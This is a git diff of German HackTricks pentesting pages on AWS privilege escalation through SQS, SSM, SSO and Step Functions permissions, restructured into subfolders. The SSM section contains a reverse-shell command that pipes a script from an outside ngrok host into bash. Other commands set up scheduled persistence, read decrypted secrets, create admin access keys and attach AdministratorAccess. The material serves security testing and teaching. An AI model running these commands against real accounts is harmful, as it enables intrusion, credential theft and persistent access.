-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Potenzielle Auswirkungen**: Sensible Informationen stehlen, Nachrichtenverlust, Datenkorruption und Dienstunterbrechung für Anwendungen, die auf die betroffenen Nachrichten angewiesen sind.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
new file mode 100644
index 000000000..4d7a69d48
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
@@ -0,0 +1,40 @@
+# AWS - SQS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:AddPermission`
+
+Ein Angreifer könnte diese Berechtigung nutzen, um unbefugten Benutzern oder Diensten Zugriff auf eine SQS-Queue zu gewähren, indem er neue Richtlinien erstellt oder vorhandene Richtlinien ändert. Dies könnte zu unbefugtem Zugriff auf die Nachrichten in der Queue oder zur Manipulation der Queue durch unbefugte Akteure führen.
+```bash
+aws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
+```
+**Potentieller Einfluss**: Unbefugter Zugriff auf die Warteschlange, Offenlegung von Nachrichten oder Manipulation der Warteschlange durch unautorisierte Benutzer oder Dienste.
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was möglicherweise zu Datenkorruption, dem Auslösen unbeabsichtigter Aktionen oder zur Erschöpfung von Ressourcen führt.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Mögliche Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder deren Sichtbarkeit ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führt, die auf diese Nachrichten angewiesen sind.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Mögliche Auswirkungen**: Diebstahl sensibler Informationen, Nachrichtenverlust, Datenkorruption und Dienstunterbrechungen für Anwendungen, die auf die betroffenen Nachrichten angewiesen sind.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
deleted file mode 100644
index ea1c47fe8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - SSM Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Für weitere Informationen zu SSM siehe:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `ssm:SendCommand`
-
-Ein Angreifer mit der Berechtigung **`ssm:SendCommand`** kann **Befehle in Instanzen** ausführen, die den Amazon SSM Agent ausführen, und **die IAM-Rolle** kompromittieren, die darin läuft.
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
-```
-Falls Sie diese Technik verwenden, um Privilegien innerhalb einer bereits kompromittierten EC2-Instanz zu eskalieren, könnten Sie einfach die rev shell lokal mit folgendem Befehl erfassen:
-```bash
-# If you are in the machine you can capture the reverseshel inside of it
-nc -lvnp 4444 #Inside the EC2 instance
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten angehängt sind.
-
-### `ssm:StartSession`
-
-Ein Angreifer mit der Berechtigung **`ssm:StartSession`** kann **eine SSH-ähnliche Sitzung in Instanzen** starten, die den Amazon SSM-Agenten ausführen, und **die IAM-Rolle** kompromittieren, die darin läuft.
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm start-session --target "$INSTANCE_ID"
-```
-> [!CAUTION]
-> Um eine Sitzung zu starten, benötigen Sie das **SessionManagerPlugin** installiert: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
-
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten angehängt sind.
-
-#### Privilegieneskalation zu ECS
-
-Wenn **ECS-Aufgaben** mit **`ExecuteCommand` aktiviert** ausgeführt werden, können Benutzer mit ausreichenden Berechtigungen `ecs execute-command` verwenden, um **einen Befehl** innerhalb des Containers auszuführen.\
-Laut [**der Dokumentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) geschieht dies durch die Erstellung eines sicheren Kanals zwischen dem Gerät, das Sie verwenden, um den „_exec_“-Befehl zu initiieren, und dem Zielcontainer mit SSM Session Manager. (SSM Session Manager Plugin ist notwendig, damit dies funktioniert)\
-Daher werden Benutzer mit `ssm:StartSession` in der Lage sein, **eine Shell innerhalb von ECS-Aufgaben** mit dieser Option aktiviert zu erhalten, indem sie einfach Folgendes ausführen:
-```bash
-aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
-```
-![](<../../../images/image (185).png>)
-
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu den `ECS` IAM-Rollen, die an laufende Aufgaben mit aktiviertem `ExecuteCommand` angehängt sind.
-
-### `ssm:ResumeSession`
-
-Ein Angreifer mit der Berechtigung **`ssm:ResumeSession`** kann eine **SSH-ähnliche Sitzung in Instanzen** neu-**starten**, die den Amazon SSM-Agenten mit einem **getrennten** SSM-Sitzungsstatus ausführen und die **IAM-Rolle** kompromittieren, die darin läuft.
-```bash
-# Check for configured instances
-aws ssm describe-sessions
-
-# Get resume data (you will probably need to do something else with this info to connect)
-aws ssm resume-session \
---session-id Mary-Major-07a16060613c408b5
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten und getrennten Sitzungen angehängt sind.
-
-### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
-
-Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, die **SSM-Parameter** aufzulisten und **diese im Klartext zu lesen**. In diesen Parametern kann man häufig **sensible Informationen** wie SSH-Schlüssel oder API-Schlüssel finden.
-```bash
-aws ssm describe-parameters
-# Suppose that you found a parameter called "id_rsa"
-aws ssm get-parameters --names id_rsa --with-decryption
-aws ssm get-parameter --name id_rsa --with-decryption
-```
-**Potenzielle Auswirkungen:** Sensible Informationen in den Parametern finden.
-
-### `ssm:ListCommands`
-
-Ein Angreifer mit dieser Berechtigung kann alle **Befehle** auflisten, die gesendet wurden, und hoffentlich **sensible Informationen** darin finden.
-```
-aws ssm list-commands
-```
-**Potenzielle Auswirkungen:** Sensible Informationen in den Befehlszeilen finden.
-
-### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
-
-Ein Angreifer mit diesen Berechtigungen kann alle **Befehle** auflisten und die **Ausgabe** lesen, in der Hoffnung, **sensible Informationen** darin zu finden.
-```bash
-# You can use any of both options to get the command-id and instance id
-aws ssm list-commands
-aws ssm list-command-invocations
-
-aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
-```
-**Potenzielle Auswirkungen:** Sensible Informationen im Output der Befehlszeilen finden.
-
-### Verwendung von ssm:CreateAssociation
-
-Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um automatisch Befehle auf EC2-Instanzen auszuführen, die von SSM verwaltet werden. Diese Assoziationen können so konfiguriert werden, dass sie in festen Intervallen ausgeführt werden, was sie für eine Art von Hintertür-Persistenz ohne interaktive Sitzungen geeignet macht.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM-Agent läuft und der Angreifer die Berechtigung hat, Assoziationen zu erstellen. Es sind keine interaktiven Sitzungen oder expliziten ssm:SendCommand-Berechtigungen erforderlich. **Wichtig:** Der Parameter `--schedule-expression` (z. B. `rate(30 minutes)`) muss das minimale Intervall von 30 Minuten von AWS einhalten. Für sofortige oder einmalige Ausführung den Parameter `--schedule-expression` vollständig weglassen — die Assoziation wird einmal nach der Erstellung ausgeführt.
-
-### Codebuild
-
-Sie können SSM auch verwenden, um in ein Codebuild-Projekt einzudringen, das gerade erstellt wird:
-
-{{#ref}}
-aws-codebuild-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
new file mode 100644
index 000000000..1bd0baef0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
@@ -0,0 +1,130 @@
+# AWS - SSM Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Für mehr Informationen zu SSM siehe:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `ssm:SendCommand`
+
+Ein Angreifer mit der Berechtigung **`ssm:SendCommand`** kann **Befehle auf Instanzen ausführen**, auf denen der Amazon SSM Agent läuft, und dadurch die **IAM Role** innerhalb dieser Instanz kompromittieren.
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
+```
+Falls Sie diese Technik verwenden, um innerhalb einer bereits kompromittierten EC2-Instanz Privilegien zu eskalieren, können Sie die rev shell einfach lokal mit folgendem Befehl abfangen:
+```bash
+# If you are in the machine you can capture the reverseshel inside of it
+nc -lvnp 4444 #Inside the EC2 instance
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
+```
+**Mögliche Auswirkungen:** Direkter privesc auf EC2 IAM Roles, die an laufende Instanzen angehängt sind, auf denen der Amazon SSM Agent läuft.
+
+### `ssm:StartSession`
+
+Ein Angreifer mit der Berechtigung **`ssm:StartSession`** kann **eine SSH-ähnliche Session auf Instanzen starten**, auf denen der Amazon SSM Agent läuft, und damit **die darin laufende IAM Role kompromittieren**.
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm start-session --target "$INSTANCE_ID"
+```
+> [!CAUTION]
+> Um eine Sitzung zu starten, müssen Sie das **SessionManagerPlugin** installiert haben: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+
+**Mögliche Auswirkungen:** Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen mit aktivierten SSM Agents angehängt sind.
+
+#### Privesc auf ECS
+
+Wenn **ECS tasks** mit aktiviertem **`ExecuteCommand`** laufen, können Benutzer mit ausreichenden Berechtigungen `ecs execute-command` verwenden, um **einen Befehl** innerhalb des Containers auszuführen.\
+Laut [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) geschieht dies, indem ein sicherer Kanal zwischen dem Gerät, mit dem Sie den „_exec_“-Befehl initiieren, und dem Zielcontainer über SSM Session Manager hergestellt wird. (SSM Session Manager Plugin erforderlich, damit dies funktioniert)\
+Daher können Benutzer mit `ssm:StartSession` bei aktivierter Option einfach **get a shell inside ECS tasks** erhalten, indem sie Folgendes ausführen:
+```bash
+aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
+```
+![](<../../../images/image (185).png>)
+
+**Mögliche Auswirkung:** Direkter privesc auf die `ECS` IAM-Rollen, die an laufende Tasks mit aktiviertem `ExecuteCommand` angehängt sind.
+
+### `ssm:ResumeSession`
+
+Ein Angreifer mit der Berechtigung **`ssm:ResumeSession`** kann eine SSH-ähnliche Sitzung in Instanzen, die den Amazon SSM Agent ausführen, re-**starten**, wenn die SSM-Sitzung den Zustand **disconnected** hat, und die darin laufende IAM Role **compromise**.
+```bash
+# Check for configured instances
+aws ssm describe-sessions
+
+# Get resume data (you will probably need to do something else with this info to connect)
+aws ssm resume-session \
+--session-id Mary-Major-07a16060613c408b5
+```
+**Potential Impact:** Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen mit SSM Agents angehängt sind, insbesondere bei getrennten Sessions.
+
+### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
+
+Ein Angreifer mit den genannten Berechtigungen kann die **SSM-Parameter** auflisten und **im Klartext lesen**. In diesen Parametern findet man häufig **sensible Informationen** wie SSH-Keys oder API-Keys.
+```bash
+aws ssm describe-parameters
+# Suppose that you found a parameter called "id_rsa"
+aws ssm get-parameters --names id_rsa --with-decryption
+aws ssm get-parameter --name id_rsa --with-decryption
+```
+**Mögliche Auswirkungen:** Sensible Informationen in den Parametern finden.
+
+### `ssm:ListCommands`
+
+Ein Angreifer mit dieser Berechtigung kann alle gesendeten **commands** auflisten und hoffentlich **sensible Informationen** darin finden.
+```
+aws ssm list-commands
+```
+**Potentielle Auswirkungen:** Sensible Informationen in den Befehlszeilen finden.
+
+### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
+
+Ein Angreifer mit diesen Berechtigungen kann alle gesendeten **commands** auflisten und die erzeugte **Ausgabe lesen**, um hoffentlich **sensible Informationen** darin zu finden.
+```bash
+# You can use any of both options to get the command-id and instance id
+aws ssm list-commands
+aws ssm list-command-invocations
+
+aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
+```
+**Potentielle Auswirkungen:** Sensible Informationen in der Ausgabe von Befehlen finden.
+
+### Verwendung von ssm:CreateAssociation
+
+Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um Befehle automatisch auf von SSM verwalteten EC2-Instanzen auszuführen. Diese Associations können so konfiguriert werden, dass sie in festen Intervallen laufen, wodurch sie sich für backdoor-like persistence ohne interaktive Sitzungen eignen.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM-Agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sessions oder expliziten ssm:SendCommand-Berechtigungen. **Wichtig:** Der `--schedule-expression`-Parameter (z. B. `rate(30 minutes)`) muss das AWS-Mindestintervall von 30 Minuten einhalten. Für eine sofortige oder einmalige Ausführung lassen Sie `--schedule-expression` vollständig weg — die association wird einmal nach der Erstellung ausgeführt.
+
+### Codebuild
+
+Sie können SSM auch verwenden, um Zugriff auf ein gerade gebautes codebuild-Projekt zu erhalten:
+
+{{#ref}}
+../aws-codebuild-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
index ef8b7111d..78ece9358 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
@@ -1,33 +1,33 @@
 # AWS - SSO & identitystore Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AWS Identity Center / AWS SSO
 
-Für weitere Informationen über AWS Identity Center / AWS SSO siehe:
+Für mehr Informationen über AWS Identity Center / AWS SSO siehe:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Beachte, dass **standardmäßig** nur **Benutzer** mit Berechtigungen **aus** dem **Management-Konto** auf das **IAM Identity Center** zugreifen und es **steuern** können.\
-> Benutzer aus anderen Konten können dies nur erlauben, wenn das Konto ein **Delegierter Administrator** ist.\
-> [Siehe die Dokumentation für weitere Informationen.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
+> Beachte, dass **standardmäßig** nur **Benutzer** mit Berechtigungen **aus dem Management Account** Zugriff auf und **das IAM Identity Center kontrollieren** können.\
+> Benutzer aus anderen Konten können dies nur, wenn das Konto ein **Delegated Administrator** ist.\
+> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
 ### ~~Passwort zurücksetzen~~
 
-Ein einfacher Weg, um Privilegien in solchen Fällen zu eskalieren, wäre, eine Berechtigung zu haben, die es erlaubt, die Passwörter der Benutzer zurückzusetzen. Leider ist es nur möglich, eine E-Mail an den Benutzer zu senden, um sein Passwort zurückzusetzen, sodass du Zugriff auf die E-Mail des Benutzers benötigst.
+Eine einfache Methode zur Eskalation von Rechten in solchen Fällen wäre, eine Berechtigung zu haben, die es erlaubt, Benutzerpasswörter zurückzusetzen. Leider ist es nur möglich, dem Benutzer eine E-Mail zum Zurücksetzen seines Passworts zu senden, daher bräuchtest du Zugriff auf die E-Mail des Benutzers.
 
 ### `identitystore:CreateGroupMembership`
 
-Mit dieser Berechtigung ist es möglich, einen Benutzer in eine Gruppe zu setzen, sodass er alle Berechtigungen der Gruppe erbt.
+Mit dieser Berechtigung kann ein Benutzer in eine Gruppe gesetzt werden, sodass er alle Berechtigungen der Gruppe erbt.
 ```bash
 aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
 ```
 ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird.
+Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem unter seiner Kontrolle stehenden user zugewiesen wurde, zusätzliche Berechtigungen gewähren.
 ```bash
 # Set an inline policy with admin privileges
 aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
@@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird.
+Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem Benutzer unter seiner Kontrolle zugewiesen ist, zusätzliche Berechtigungen gewähren.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
@@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle zugewiesen ist.
+Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem von ihm kontrollierten Benutzer zugewiesen ist, zusätzliche Berechtigungen gewähren.
 
 > [!WARNING]
-> Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den **Namen einer kundenverwalteten Richtlinie kennen, die in ALLEN betroffenen Konten vorhanden ist**.
+> Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den **name of a customer managed policy that is inside ALL the accounts** kennen, die betroffen sein werden.
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:CreateAccountAssignment`
 
-Ein Angreifer mit dieser Berechtigung könnte einem Benutzer unter seiner Kontrolle ein Berechtigungsset für ein Konto zuweisen.
+Ein Angreifer mit dieser Berechtigung könnte einem von ihm kontrollierten Benutzer ein Permission Set für ein Konto zuweisen.
 ```bash
 aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
 ```
 ### `sso:GetRoleCredentials`
 
-Gibt die STS- kurzfristigen Anmeldeinformationen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.
+Gibt die kurzfristigen STS-Anmeldeinformationen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.
 ```
 aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
 ```
-Sie benötigen jedoch ein Zugriffstoken, dessen Beschaffung ich nicht sicher weiß (TODO).
+Allerdings wird ein access token benötigt, dessen Beschaffung mir nicht bekannt ist (TODO).
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
-Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer AWS verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird.
+Ein Angreifer mit dieser Berechtigung kann die Zuordnung einer AWS managed policy aus dem angegebenen permission set entfernen. Es ist möglich, mehr Privilegien zu gewähren durch **detaching a managed policy (deny policy)**.
 ```bash
 aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
 ```
 ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
 
-Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer von Kunden verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, weitere Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird.
+Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer Customer managed policy und dem angegebenen permission set entfernen. Es ist möglich, zusätzliche Rechte zu erlangen, indem man **detaching a managed policy (deny policy)** durchführt.
 ```bash
 aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
 ```
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
-Ein Angreifer mit dieser Berechtigung kann die Berechtigungen aus einer Inline-Richtlinie des Berechtigungssets entfernen. Es ist möglich, **mehr Berechtigungen zu gewähren, indem eine Inline-Richtlinie (Verweigerungsrichtlinie) abgetrennt wird**.
+Ein attacker mit dieser Berechtigung kann tatsächlich die Berechtigungen einer inline policy aus dem permission set entfernen. Es ist möglich, **mehr Privilegien zu gewähren, indem man eine inline policy (deny policy) abtrennt**.
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 ```
 ### `sso:DeletePermissionBoundaryFromPermissionSet`
 
-Ein Angreifer mit dieser Berechtigung kann die Permission Boundary aus dem Berechtigungsset entfernen. Es ist möglich, **mehr Berechtigungen zu gewähren, indem die Einschränkungen des Berechtigungssets, die von der Permission Boundary gegeben werden, entfernt werden.**
+Ein Angreifer mit dieser Berechtigung kann die Permission Boundary aus dem Permission Set entfernen. Dadurch ist es möglich, **mehr Privilegien zu gewähren, indem die durch die Permission Boundary auferlegten Beschränkungen des Permission Set entfernt werden**.
 ```bash
 aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
deleted file mode 100644
index 91001c429..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ /dev/null
@@ -1,231 +0,0 @@
-# AWS - Step Functions Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Für weitere Informationen zu diesem AWS-Dienst, siehe:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Task-Ressourcen
-
-Diese Techniken zur Eskalation von Berechtigungen erfordern die Nutzung einiger AWS Step Function-Ressourcen, um die gewünschten Aktionen zur Eskalation von Berechtigungen durchzuführen.
-
-Um alle möglichen Aktionen zu überprüfen, könntest du zu deinem eigenen AWS-Konto gehen, die Aktion auswählen, die du verwenden möchtest, und die verwendeten Parameter einsehen, wie in:
-
-<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
-
-Oder du könntest auch zur API-Dokumentation von AWS gehen und die Dokumentation zu jeder Aktion überprüfen:
-
-- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
-- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
-
-### `states:TestState` & `iam:PassRole`
-
-Ein Angreifer mit den Berechtigungen **`states:TestState`** & **`iam:PassRole`** kann jeden Zustand testen und jede IAM-Rolle an ihn übergeben, ohne eine vorhandene Zustandsmaschine zu erstellen oder zu aktualisieren, was potenziell unbefugten Zugriff auf andere AWS-Dienste mit den Berechtigungen der Rollen ermöglicht. In Kombination können diese Berechtigungen zu umfangreichen unbefugten Aktionen führen, von der Manipulation von Workflows zur Datenänderung bis hin zu Datenverletzungen, Ressourcenmanipulation und Eskalation von Berechtigungen.
-```bash
-aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
-```
-Die folgenden Beispiele zeigen, wie man einen Zustand testet, der einen Zugriffsschlüssel für den **`admin`**-Benutzer erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung genutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Richtlinie verknüpft sein (zum Beispiel **`arn:aws:iam::aws:policy/AdministratorAccess`**), die es dem Zustand erlaubt, die Aktion **`iam:CreateAccessKey`** auszuführen:
-
-- **stateDefinition.json**:
-```json
-{
-"Type": "Task",
-"Parameters": {
-"UserName": "admin"
-},
-"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-"End": true
-}
-```
-- **Befehl** ausgeführt, um die Privilegieneskalation durchzuführen:
-```bash
-aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
-
-{
-"output": "{
-\"AccessKey\":{
-\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
-\"CreateDate\":\"2024-07-09T16:59:11Z\",
-\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
-\"Status\":\"Active\",
-\"UserName\":\"admin\"
-}
-}",
-"status": "SUCCEEDED"
-}
-```
-**Potenzielle Auswirkungen**: Unbefugte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.
-
-### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
-
